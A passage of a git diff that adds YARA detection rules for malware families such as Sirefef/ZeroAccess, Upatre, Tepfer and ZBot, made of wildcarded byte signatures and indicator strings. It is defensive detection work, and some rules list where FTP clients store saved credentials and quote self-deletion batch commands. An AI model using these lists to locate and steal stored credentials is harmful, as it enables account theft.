?? ff ?? ?? ff ?? ?? ?? ?? ?? e9 ?? ?? ?? ?? a1 ?? ?? ?? ?? b9 38 90 42 00 eb ?? 8b ?? ?? 3b ?? ?? 74 ?? 8b ?? 3b c1 75 ?? 33 ff 3b fb 0f ?? ?? ?? ?? ?? 8b ?? ?? 48 74 ?? 48 74 ?? 48 48 74 ?? 48 74 ?? 48 74 ?? 48 74 ?? 48 75 ?? 57 8d ?? ?? e8 ?? ?? ?? ?? eb ?? 8b f8 eb ?? 8d ?? ?? 8b ?? eb ?? 8b ?? ?? 3b ?? ?? 74 ?? 8b ?? 3b c1 75 ?? 33 c0 3b c3 74 ?? 8b f0 e8 ?? ?? ?? ?? eb ?? 8d ?? ?? 50 e8 ?? ?? ?? ?? eb ?? e8 ?? ?? ?? ?? ff ?? ?? eb ?? ff ?? ?? 8b cf e8 ?? ?? ?? ?? 3b c3 74 ?? 8b f0 e8 ?? ?? ?? ?? eb ?? 57 8d ?? ?? e8 ?? ?? ?? ?? eb ?? 8d ?? ?? e8 ?? ?? ?? ?? 89 ?? ?? ff ?? ?? 8b ?? ?? 8d ?? ?? 50 ff ?? ?? ?? ?? ?? 39 ?? ?? 74 ?? 53 56 ff ?? ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 8d ?? ?? 5f 5e 5b c9 c2 08 00}
+		$hex8 = { 53 56 57 ff ?? ?? ?? ?? ?? 0f b7 c0 33 ff 57 6a 04 8b c8 68 04 e2 41 00 c1 e9 08 c0 e0 04 6a 1a 0a c8 6a ff 88 ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 8b d8 6a 3c 53 ff d6 59 59 85 c0 74 ?? e8 ?? ?? ?? ?? 85 c0 75 ?? 57 e8 ?? ?? ?? ?? 68 a4 e0 41 00 ff ?? ?? ?? ?? ?? 57 ff ?? ?? ?? ?? ?? 6a 3e 53 ff d6 59 59 85 c0 74 ?? 6a 01 e8 ?? ?? ?? ?? eb ?? 8b ?? ?? ?? ?? ?? b8 00 20 00 00 66 ?? ?? ?? ?? ?? ?? 75 ?? e8 ?? ?? ?? ?? e8 ?? ?? ?? ?? 68 e8 03 00 00 ff ?? ?? ?? ?? ?? 57 ff ?? ?? ?? ?? ?? 8b ?? ?? ?? 2b c7 74 ?? 48 75 ?? ff ?? ?? ?? ff ?? ?? ?? ?? ?? 33 c0 40 e8 ?? ?? ?? ?? 8b f0 e8 ?? ?? ?? ?? 85 c0 74 ?? e8 ?? ?? ?? ?? 85 c0 75 ?? 57 57 56 68 10 1c 40 00 57 57 ff ?? ?? ?? ?? ?? a3 ?? ?? ?? ?? eb ?? e8 ?? ?? ?? ?? 5f 5e b0 01 5b c2 0c 00}
+		$hex9 = { 55 8b ec 83 e4 f8 81 ec 94 01 00 00 53 56 57 68 c0 bb 41 00 68 d4 bb 41 00 ff ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 8b d8 85 db 75 ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 8d ?? ?? ?? 50 6a 40 6a 07 8d ?? ?? 56 ff d7 85 c0 74 ?? b8 91 1b 40 00 2b c6 83 e8 05 89 ?? ?? 8d ?? ?? ?? 50 ff ?? ?? ?? c6 ?? ?? 6a 07 56 c6 ?? ?? ?? c6 ?? ?? ?? ff d7 8d ?? ?? ?? 50 68 02 02 00 00 ff ?? ?? ?? ?? ?? 6a 0d e8 ?? ?? ?? ?? e8 ?? ?? ?? ?? ff ?? ?? ff ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 68 90 e0 41 00 6a 01 ff ?? ?? ?? ?? ?? 8d ?? ?? ?? 50 6a 40 6a 02 53 ff d7 85 c0 74 ?? b8 8b ff 00 00 66 ?? ?? 8d ?? ?? ?? 50 ff ?? ?? ?? 6a 02 53 ff d7 5f 5e 33 c0 5b 8b e5 5d c2 04 00}
+		$hex10 ={ 55 8b ec 83 ec 18 a0 ?? ?? ?? ?? 83 ?? ?? ?? 83 ?? ?? ?? 53 56 0f b6 c0 57 c7 ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? 39 ?? ?? 73 ?? 2b ?? ?? e8 ?? ?? ?? ?? 8b ?? ?? 2b c4 89 ?? ?? 89 ?? ?? 8b ?? ?? 8d ?? ?? 50 ff ?? ?? 53 6a 05 ff ?? ?? ?? ?? ?? 89 ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 33 c0 03 d8 6a 01 8d ?? ?? 57 68 e8 c1 41 00 ff d6 84 c0 75 ?? 6a 01 57 68 08 c2 41 00 ff d6 84 c0 75 ?? 6a 01 57 68 2c c2 41 00 ff d6 84 c0 75 ?? 6a 01 57 68 4c c2 41 00 ff d6 84 c0 75 ?? 6a 01 57 68 6c c2 41 00 ff d6 84 c0 75 ?? 6a 01 57 68 8c c2 41 00 ff d6 84 c0 74 ?? 8d ?? ?? ?? ?? ?? 50 68 00 e0 41 00 6a 01 8d ?? ?? 50 ff ?? ?? ?? ?? ?? 85 c0 7c ?? 6a 00 ff ?? ?? ff ?? ?? ?? ?? ?? ff ?? ?? ff ?? ?? ?? ?? ?? 8b ?? 85 c0 0f ?? ?? ?? ?? ?? 81 ?? ?? ?? ?? ?? ?? 0f ?? ?? ?? ?? ?? 8d ?? ?? 5f 5e 5b c9 c3}
+		$hex11 ={ 55 8b ec 81 ec ac 00 00 00 53 56 57 6a 20 6a 07 8d ?? ?? 50 68 6c e0 41 00 68 89 00 12 00 8d ?? ?? 50 ff ?? ?? ?? ?? ?? 8b d8 85 db 0f ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 6a 05 6a 10 8d ?? ?? 50 8d ?? ?? 50 ff ?? ?? ff d6 8b d8 bf 05 00 00 80 3b df 74 ?? 85 db 75 ?? 8b ?? ?? b8 80 00 04 00 23 c8 3b c8 75 ?? 6a 01 6a 18 8d ?? ?? 50 8d ?? ?? 50 ff ?? ?? ff d6 3b c7 74 ?? 85 c0 75 ?? 8d ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 6a 08 8d ?? ?? 50 8d ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 6a 10 8d ?? ?? 50 68 14 e2 41 00 e8 ?? ?? ?? ?? 83 c4 0c 33 db eb ?? bb bb 00 00 c0 ff ?? ?? ff ?? ?? ?? ?? ?? 85 db 7d ?? 81 cb 00 00 01 00 5f 5e 8b c3 5b c9 c3}
+	condition:
+		(5 of them) or (any of ($hex*)) or (any of ($s*))
+}
+
+rule TrojanSirefefZerroAccessANModule
+{
+	meta:
+		Description  = "Trojan.Sirefef.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "%s\\%s\\%08x.@" ascii wide
+		$ = "%s\\%s\\%s" ascii wide
+		$ = "InstallFlashPlayer.exe" ascii wide
+		$ = "get/flashplayer/update/current/install/install_all_win_%s_sgn.z" ascii wide
+		$ = "download/C/C/0/CC0BD555-33DD-411E-936B-73AC6F95AE11/IE8-WindowsXP-x86-ENU.exe" ascii wide
+		$ = "\\??\\%08x" ascii wide
+		$ = "80000032.32" ascii wide
+		$ = "\\GLOBAL??\\{D1C8BD9B-9DF7-4fb6-A1C3-D96202C79FC0}" ascii wide
+		$ = "http://%.*s/_ylt=3648C868A1DB;" ascii wide
+
+		
+		$hex0 = { 56 8b ?? ?? ?? 33 c0 8d ?? ?? 87 ?? 85 c0 74 ?? 6a 00 50 6a 00 ff ?? ?? ?? ?? ?? 85 c0 74 ?? 8d ?? ?? 83 c8 ff f0 ?? ?? ?? 75 ?? 85 f6 74 ?? 8b ?? 8b ?? 6a 01 8b ce ff d0 83 c8 ff 8d ?? ?? 87 ?? 83 f8 ff 74 ?? 50 ff ?? ?? ?? ?? ?? 8b ?? 8b ?? ?? 8b ce ff d0 8d ?? ?? 83 ca ff f0 ?? ?? ?? 75 ?? 85 f6 74 ?? 8b ?? 8b ?? 6a 01 8b ce ff d2 5e c2 08 00}
+		$hex1 = { 57 8b ?? ?? ?? ?? ?? 68 30 75 00 00 ff d7 a1 ?? ?? ?? ?? 85 c0 74 ?? 56 eb ?? 8d 9b 00 00 00 00 68 30 75 00 00 8b f0 ff d7 a1 ?? ?? ?? ?? 3b f0 75 ?? 5e 6a 00 ff ?? ?? ?? ?? ??}
+		$hex2 = { 83 ec 5c 56 8d ?? ?? ?? 50 68 ff 01 0f 00 83 ce ff 56 ff ?? ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 8b ?? ?? ?? 57 8d ?? ?? ?? 51 6a 01 6a 00 68 90 61 01 10 68 ff 01 0f 00 52 ff ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 85 c0 78 ?? 8b ?? ?? ?? 6a 04 8d ?? ?? ?? 50 6a 0c 51 ff ?? ?? ?? ?? ?? 6a 40 8d ?? ?? ?? 6a 00 52 c7 ?? ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 8b ?? ?? ?? 83 c4 0c 8d ?? ?? ?? 50 8b ?? ?? ?? 8d ?? ?? ?? 51 6a 00 6a 00 6a 00 6a 00 6a 00 6a 00 52 6a 00 50 c7 ?? ?? ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 85 c0 74 ?? 8b ?? ?? ?? 51 ff d7 8b ?? ?? ?? 8b ?? ?? ?? 52 ff d7 8b ?? ?? ?? 50 ff d7 5f 8b c6 5e 83 c4 5c c2 08 00}
+		$hex3 = { 56 8b f2 e8 ?? ?? ?? ?? 85 c0 74 ?? 83 ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 75 ?? e8 ?? ?? ?? ?? 6a 00 6a 00 6a 00 68 20 8b 00 10 6a 00 6a 00 ff ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? b8 01 00 00 00 5e c3 33 c0 5e c3}
+		$hex4 = { 53 8b d9 8b ca e8 ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 56 68 20 ca 01 10 ff ?? ?? ?? ?? ?? 8b f0 ff ?? ?? ?? ?? ?? ba f8 34 01 10 8b ce 57 8b ff 66 ?? ?? 66 ?? ?? 75 ?? 66 85 ff 74 ?? 66 ?? ?? ?? 66 ?? ?? ?? 75 ?? 83 c1 04 83 c2 04 66 85 ff 75 ?? 33 c9 eb ?? 1b c9 83 d9 ff 85 c9 75 ?? 68 10 35 01 10 50 ff ?? ?? ?? ?? ?? 83 c4 08 85 c0 74 ?? 68 30 be 00 10 c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 6a 00 6a 00 68 b0 04 00 00 68 a0 89 00 10 6a 00 6a 00 ff d6 8b ?? ?? ?? ?? ?? 50 ff d7 e8 ?? ?? ?? ?? 6a 00 6a 00 6a 00 68 20 83 00 10 6a 00 6a 00 ff d6 50 ff d7 5f 5e b8 01 00 00 00 5b c3 e8 ?? ?? ?? ?? 85 c0 74 ?? 68 30 be 00 10 c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 8b c3 e8 ?? ?? ?? ?? e8 ?? ?? ?? ?? e8 ?? ?? ?? ?? 6a 00 6a 00 6a 00 68 80 bd 00 10 6a 00 6a 00 ff ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 5f 5e b8 01 00 00 00 5b c3 5f 5e 33 c0 5b c3 83 ?? ?? ?? ?? ?? ?? 74 ?? 8b c3 e8 ?? ?? ?? ?? b8 01 00 00 00 5b c3 33 c0 5b c3}
+
+
+	condition:
+		(5 of them) or (any of ($hex*))
+}
+
+rule TrojanSirefefZerroAccessPlayloadModule
+{
+	meta:
+		Description  = "Trojan.Sirefef.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "U\\80000032.@" ascii wide
+		$ = "\\\\.\\globalroot\\systemroot\\system32\\mswsock.dll" ascii wide
+		$ = "\\\\?\\globalroot\\systemroot\\system32\\mswsock.AcceptEx" ascii wide
+		$ = "\\\\?\\globalroot\\systemroot\\system32\\mswsock.GetAcceptExSockaddrs" ascii wide
+		$ = "\\\\?\\globalroot\\systemroot\\system32\\mswsock.NSPStartup" ascii wide
+		$ = "\\\\?\\globalroot\\systemroot\\system32\\mswsock.TransmitFile" ascii wide
+		$ = "\\\\?\\globalroot\\systemroot\\system32\\mswsock.getnetbyname" ascii wide
+		$ = "\\\\?\\globalroot\\systemroot\\system32\\mswsock.inet_network" ascii wide
+		$ = "%sU\\%08x.@" ascii wide
+		$ = "\\??\\%s@" ascii wide
+		$ = "\\??\\%sU" ascii wide
+		$ = "\\registry\\MACHINE\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parameters" ascii wide
+		$ = "\\KnownDlls\\mswsock.dll" ascii wide
+		$ = "\\systemroot\\assembly" ascii wide
+		$ = "GAC_MSIL" ascii wide
+		$ = "GAC" ascii wide
+		$ = "????????.@" ascii wide
+		$ = "%08x.@" ascii wide
+		$ = "%08x.$" ascii wide
+		$ = "%08x.~" ascii wide
+		
+		$ = "\\systemroot\\assembly\\GAC\\Desktop.ini" ascii wide
+
+	condition:
+		(5 of them)
+}
+
+rule TrojanSirefefZerroAccessPluginModule
+{
+	meta:
+		Description  = "Trojan.Sirefef.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$hex0 = { 55 8b ec 81 ec 94 01 00 00 56 68 30 40 00 10 68 00 00 10 00 8d ?? ?? 50 ff ?? ?? ?? ?? ?? 8b f0 81 fe 00 00 00 40 75 ?? ff ?? ?? ff ?? ?? ?? ?? ?? 85 f6 8b ?? ?? ?? ?? ?? 7c ?? 8d ?? ?? ?? ?? ?? 50 68 02 02 00 00 ff ?? ?? ?? ?? ?? 85 c0 75 ?? e8 ?? ?? ?? ?? 6a 20 68 60 ea 00 00 b9 80 40 00 10 e8 ?? ?? ?? ?? 69 c0 e8 03 00 00 50 6a 00 68 b7 15 00 10 6a 00 8d ?? ?? 50 ff ?? ?? ?? ?? ?? 85 c0 74 ?? ff ?? ?? ff ?? ?? ?? ?? ?? 6a ff ff ?? ?? 6a 00 ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? ff ?? ?? ff ?? ?? ?? ?? ?? ff ?? ?? ff d6 a1 ?? ?? ?? ?? 85 c0 74 ?? b9 fb 15 00 10 ff ?? ?? e8 ?? ?? ?? ?? 68 28 40 00 10 6a 01 ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? ff d6}
+		$hex1 = { 81 ?? ?? ?? ?? ?? 56 57 8b f9 75 ?? b9 fb 15 00 10 89 ?? ?? ?? ?? ?? ff ?? ?? 8b ?? ?? ?? ?? ?? 68 08 32 00 10 57 ff d6 59 59 50 b9 80 40 00 10 e8 ?? ?? ?? ?? 68 f0 31 00 10 57 ff d6 59 59 33 c9 8b d0 41 e8 ?? ?? ?? ?? 33 c0 50 50 50 68 85 16 00 10 50 50 ff ?? ?? ?? ?? ?? a3 ?? ?? ?? ?? 33 c0 5f 40 5e c3}
+		$hex2 = { 55 8b ec 81 ec 90 00 00 00 53 56 57 6a 40 5e 8b d9 6a 04 8b c6 66 ?? ?? ?? 58 33 ff 57 66 ?? ?? ?? 57 8d ?? ?? 50 ff ?? ?? c7 ?? ?? ?? ?? ?? ?? c6 ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? c6 ?? ?? ?? ff ?? ?? ?? ?? ?? 84 c0 0f ?? ?? ?? ?? ?? 6a 20 8d ?? ?? 6a 07 89 ?? ?? 8d ?? ?? 50 8d ?? ?? 50 89 ?? ?? 68 98 00 10 00 8d ?? ?? 56 c7 ?? ?? ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? ff ?? ?? ?? ?? ?? 85 c0 7c ?? 57 57 6a 18 68 0c 40 00 10 57 6a 60 8d ?? ?? ?? ?? ?? 50 8d ?? ?? 50 ff ?? e8 ?? ?? ?? ?? 85 c0 7c ?? 8d ?? ?? ?? ?? ?? 33 c9 03 c1 80 ?? ?? ?? 75 ?? 8b ?? ?? 81 f9 30 30 31 00 74 ?? 81 f9 30 30 32 00 75 ?? 66 ?? ?? ?? ?? 75 ?? 8b ?? ?? 89 ?? ?? eb ?? 66 ?? ?? ?? ?? 75 ?? 6a 10 8d ?? ?? 8d ?? ?? 59 f3 ?? 33 ff 8b ?? 3b cf 75 ?? 8d ?? ?? 50 ff ?? ?? ?? ?? ?? 66 ?? ?? ?? 75 ?? e8 ?? ?? ?? ?? 33 d2 b9 80 51 01 00 f7 f1 6a 4c 53 66 ?? ?? ?? 8d ?? ?? 50 ff ?? ?? e8 ?? ?? ?? ?? 39 ?? ?? 75 ?? c7 ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 57 8b cb 89 ?? ?? e8 ?? ?? ?? ?? 5f 5e 5b c9 c2 04 00}
+		
+		$hex3 = { 55 8b ec 83 ec 74 53 56 57 be 30 00 fe 7f 56 ff ?? ?? ?? ?? ?? 59 8d ?? ?? ?? e8 ?? ?? ?? ?? 89 ?? ?? 68 94 60 00 10 56 ff ?? ?? ff ?? ?? ?? ?? ?? 59 59 50 ff ?? ?? ?? ?? ?? 59 59 33 db 53 53 ff ?? ?? ?? ?? ?? 8b f0 3b f3 0f ?? ?? ?? ?? ?? 6a 70 8d ?? ?? 53 50 e8 ?? ?? ?? ?? 83 c4 0c 6a 70 8d ?? ?? 50 33 ff 6a 09 47 56 c7 ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? 89 ?? ?? c7 ?? ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 85 c0 74 ?? ff ?? ?? ?? ?? ?? 85 c0 74 ?? 9c 81 ?? ?? ?? ?? ?? ?? 9d 90 68 08 70 00 10 57 8b ?? ?? ?? ?? ?? ff d7 85 c0 75 ?? 38 ?? ?? ?? ?? ?? 75 ?? ff ?? ?? ff ?? ?? 56 e8 ?? ?? ?? ?? 38 ?? ?? ?? ?? ?? 75 ?? 68 00 70 00 10 6a 01 ff d7 85 c0 74 ?? 56 ff ?? ?? ?? ?? ?? 33 c0 8d ?? ?? 5f 5e 5b c9 c2 04 00}
+		$hex4 = { 55 8b ec 51 53 56 57 68 24 70 00 10 68 00 00 10 00 8d ?? ?? 50 ff ?? ?? ?? ?? ?? 8b f8 81 ff 00 00 00 40 75 ?? ff ?? ?? ff ?? ?? ?? ?? ?? 33 f6 3b fe 7c ?? 56 56 ff ?? ?? 68 88 13 00 10 56 56 ff ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 8b f8 3b fe 74 ?? ff ?? ?? ff ?? ?? ?? ?? ?? 57 c6 ?? ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 56 56 57 ff ?? ?? ?? ?? ?? 57 ff d3 ff ?? ?? ff ?? ?? ?? ?? ?? ff ?? ?? ff d3 ff ?? ?? ff ?? ?? ?? ?? ??}
+		$hex5 = { 53 56 57 8b d9 ff ?? ?? ?? ?? ?? 85 c0 74 ?? 9c 81 ?? ?? ?? ?? ?? ?? 9d 90 53 ff ?? ?? ?? ?? ?? 59 6a 02 5a 8d ?? ?? ?? 33 c9 f7 e2 0f 90 c1 33 ff f7 d9 0b c1 50 57 ff ?? ?? ?? ?? ?? 8b f0 3b f7 74 ?? 53 68 50 61 00 10 56 ff ?? ?? ?? ?? ?? 83 c4 0c 57 57 56 68 77 14 00 10 57 57 ff ?? ?? ?? ?? ?? 3b c7 74 ?? 50 ff ?? ?? ?? ?? ?? 33 c0 40 eb ?? 56 ff ?? ?? ?? ?? ?? 33 c0 5f 5e 5b c3}
+
+	condition:
+		any of ($hex*)
+}
+
+rule TrojanSirefefZerroAccessPluginModuleZooCliccer
+{
+	meta:
+		Description  = "Trojan.ZooClicker.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "%s\\00000001.@" ascii wide                                                                                                                                                                                                                                                                                                                                                                   
+		$ = "z00clicker3"  ascii wide  
+		$ = "z00clicker"  ascii wide
+
+	condition:
+		any of them
+}
+
+rule TrojanSirefefZerroAccess2016
+{
+	meta:
+		Description  = "Trojan.Sirefef.E.sm"
+		ThreatLevel  = "5"
+
+	strings:
+
+		$ = "GoogleUpdate.exe" ascii wide
+		$ = "%08x.@" ascii wide
+		$ = "%08x.$" ascii wide
+		$ = "%08x.~" ascii wide
+
+		$s1 = "\\Google\\Desktop\\Install\\{%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}\\#." ascii wide
+		$s2 = "\\BaseNamedObjects\\Restricted\\{12E9D947-EDF5-4191-AADB-F51815F004D8}" ascii wide
+		$s3 = "\\BaseNamedObjects\\Restricted\\{889E2280-F15E-4330-A3F4-D4EEF899AAF6}" ascii wide
+		$s4 = "\\BaseNamedObjects\\Restricted\\{1FD06E7A-B215-4ae2-B209-AC869A3DF0B7}" ascii wide
+		$s5 = "\\BaseNamedObjects\\Restricted\\{A3D35150-6823-4462-8C6E-7417FF841D7A}" ascii wide
+		$s6 = "80000000.@" ascii wide
+		$s7 = "=cccctp=ddddt:=rrrrt<=sssst" ascii wide
+		$s8 = "=ccccta=ddddt+=rrrrt-=sssst" ascii wide
+
+	condition:
+		(3 of them) or (any of ($s*))
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Trojan.Upatre.yar b/yara-mikesxrs/g00dv1n/Trojan.Upatre.yar
new file mode 100644
index 0000000..a09595f
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Trojan.Upatre.yar
@@ -0,0 +1,12 @@
+rule TrojanUpatreSample
+{
+    meta:
+        Description = "Trojan.Upatre.vb"
+        ThreatLevel = "5"
+
+    strings:
+        $hex_string = { 52 ba 6c 6c 00 00 52 ba 73 66 2e 64 52 ba 32 5c 71 61 52 ba 74 65 6d 33 52 ba 5c 73 79 73 52}
+
+    condition:
+        $hex_string
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/Trojan.Virtool.Obfuscator.yar b/yara-mikesxrs/g00dv1n/Trojan.Virtool.Obfuscator.yar
new file mode 100644
index 0000000..c388f27
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/Trojan.Virtool.Obfuscator.yar
@@ -0,0 +1,12 @@
+rule TrojanVirtoolObfuscator
+{
+		meta:
+			Description = "Trojan.Obfuscator.rc"
+			ThreatLevel = "5"
+			
+		strings:
+			$ = "1346243623461" ascii wide
+			$ = "3nterface" ascii wide
+		condition:
+			all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/TrojanPSW.Tepfer.yar b/yara-mikesxrs/g00dv1n/TrojanPSW.Tepfer.yar
new file mode 100644
index 0000000..a897573
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/TrojanPSW.Tepfer.yar
@@ -0,0 +1,68 @@
+rule TrojanPSWTepferSample
+{
+	meta:
+		Description  = "Trojan.Tepfer.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "Software\\BPFTP"                                    ascii wide
+		$ = "\\BulletProof Software\\BulletProof FTP Client"     ascii wide
+		$ = "Software\\BPFTP\\Bullet Proof FTP"                  ascii wide
+		$ = "Software\\NCH Software\\ClassicFTP\\FTPAccounts"    ascii wide
+		$ = "\\GlobalSCAPE\\CuteFTP"                             ascii wide
+		$ = "\\GlobalSCAPE\\CuteFTP Pro"                         ascii wide
+		$ = "\\GlobalSCAPE\\CuteFTP Lite"                        ascii wide
+		$ = "\\CuteFTP"                                          ascii wide
+		$ = "\\GPSoftware\\Directory Opus\\ConfigFiles\\ftp.oxc" ascii wide
+		$ = "SOFTWARE\\Far\\Plugins\\FTP\\Hosts"                 ascii wide
+		$ = "SOFTWARE\\Far2\\Plugins\\FTP\\Hosts"                ascii wide
+		$ = "Software\\Far\\Plugins\\FTP\\Hosts"                 ascii wide
+		$ = "Software\\Far2\\Plugins\\FTP\\Hosts"                ascii wide
+		$ = "Software\\Far\\SavedDialogHistory\\FTPHost"         ascii wide
+		$ = "Software\\Far2\\SavedDialogHistory\\FTPHost"        ascii wide
+		$ = "Software\\Ghisler\\Windows Commander"				 ascii wide
+		$ = "Software\\Ghisler\\Total Commander"				 ascii wide
+		$ = "Software\\Sota\\FFFTP"                              ascii wide
+		$ = "Software\\FileZilla"                                ascii wide
+		$ = "FileZilla3"                                         ascii wide
+		$ = "FlashFXP"                                           ascii wide
+		$ = "FTP Commander Pro"                                  ascii wide
+		$ = "FTP Navigator"                                      ascii wide
+		$ = "FTP Commander"                                      ascii wide
+		$ = "FTP Commander Deluxe"                               ascii wide
+		$ = "Software\\FTP Explorer\\Profiles"                   ascii wide
+		$ = "\\FTP Explorer\\profiles.xml"                       ascii wide
+		$ = "Windows/Total Commander"                            ascii wide
+		$ = "FTP Commander"                                      ascii wide
+		$ = "BulletProof FTP Client"                             ascii wide
+		$ = "TurboFTP"                                           ascii wide
+		$ = "SoftX FTP Client"                                   ascii wide
+		$ = "LeapFTP"                                            ascii wide
+		$ = "WinSCP"                                             ascii wide
+		$ = "32bit FTP"                                          ascii wide
+		$ = "FTP Control"                                        ascii wide
+		$ = "SecureFX"                                           ascii wide
+		$ = "BitKinex"                                           ascii wide
+		$ = "CuteFTP"                                            ascii wide
+		$ = "WS_FTP"                                             ascii wide
+		$ = "FFFTP"                                              ascii wide
+		$ = "Core FTP"                                           ascii wide
+		$ = "WebDrive"                                           ascii wide
+		$ = "Classic FTP"                                        ascii wide
+		$ = "Fling"                                              ascii wide
+		$ = "NetDrive"                                           ascii wide
+		$ = "FileZilla"                                          ascii wide
+		$ = "FTP Explorer"                                       ascii wide
+		$ = "SmartFTP"                                           ascii wide
+		$ = "FTPRush"                                            ascii wide
+		$ = "UltraFXP"                                           ascii wide
+		$ = "Frigate3 FTP"                                       ascii wide
+		$ = "BlazeFtp"				ascii wide
+		$ = "Software\\LeechFTP"	ascii wide
+		$ = "SiteInfo.QFP"			ascii wide
+		$ = "WinFTP"				ascii wide
+		$ = "FreshFTP"				ascii wide
+		$ = "BlazeFtp"				ascii wide
+	condition:
+		9 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/g00dv1n/TrojanPSW.ZBot.yar b/yara-mikesxrs/g00dv1n/TrojanPSW.ZBot.yar
new file mode 100644
index 0000000..ed0e8dd
--- /dev/null
+++ b/yara-mikesxrs/g00dv1n/TrojanPSW.ZBot.yar
@@ -0,0 +1,21 @@
+rule TrojanZeusZbotSampleA
+{
+	meta:
+		Description  = "Trojan.ZBot.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "-m" ascii wide
+		$ = "-m%p" ascii wide
+		$ = ":d\\r\\ndel" ascii wide
+		$ = "@echo off\\r\\n%s\\r\\ndel /F" ascii wide
+		$hex0 = { 83 EC 0C 53 55 33 DB 56 8B C2 33 ED 57 89 44 24 18 89 4C 24 10 39 5C 24 20 0F 8E ?? ?? ?? ?? 8B 04 A8 83 3C C5 }
+		$hex1 = { E8 ?? ?? ?? ?? 83 C4 04 C7 45 FC 00 00 00 00 EB 09 8B 4D FC 83 C1 01 89 4D FC 8B 55 FC 3B 15 ?? ?? ?? ?? 0F 83 ?? ?? ?? ?? C7 45 F4 ?? ?? ?? ?? C7 45 F4 ?? ?? ?? ?? C7 45 F4 ?? ?? ?? ?? C7 45 F4 ?? ?? ?? ?? C7 45 F4 ?? ?? ?? ?? C7 45 F4 ?? ?? ?? ?? C7 45 F4 ?? ?? ?? ?? C7 45 F4 ?? ?? ?? ?? C7 45 F4 ?? ?? ?? ?? 8B 45 08 83 C0 08 A3 ?? ?? ?? ?? 8B 4D FC 51 8B 15 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? }
+        $hex2 = { 6A 02 6A 00 FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 08 56 E8 ?? ?? ?? ?? EB 02 8A C3 84 C0 74 28 F6 44 24 36 08 75 0A E8 ?? ?? ?? ?? 83 4C 24 36 08 F6 44 24 36 40 75 0A E8 ?? ?? ?? ?? 83 4C 24 36 40 56 E8 ?? ?? ?? ?? 8D 44 24 08 50 E8 ?? ?? ?? ?? 8A C3 EB 02 32 C0 5E 5B 8B E5 5D C3 }
+        $hex3 = { 55 8b ec 81 ec 70 03 00 00 8d ?? ?? ?? ?? ?? 50 ff ?? ?? ff ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 50 50 68 28 59 40 00 8d ?? ?? ?? ?? ?? 68 6c 02 00 00 50 e8 ?? ?? ?? ?? 83 c4 14 85 c0 7e ?? 8d ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 84 c0 74 ?? b0 01 eb ?? 32 c0 c9 c2 04 00}
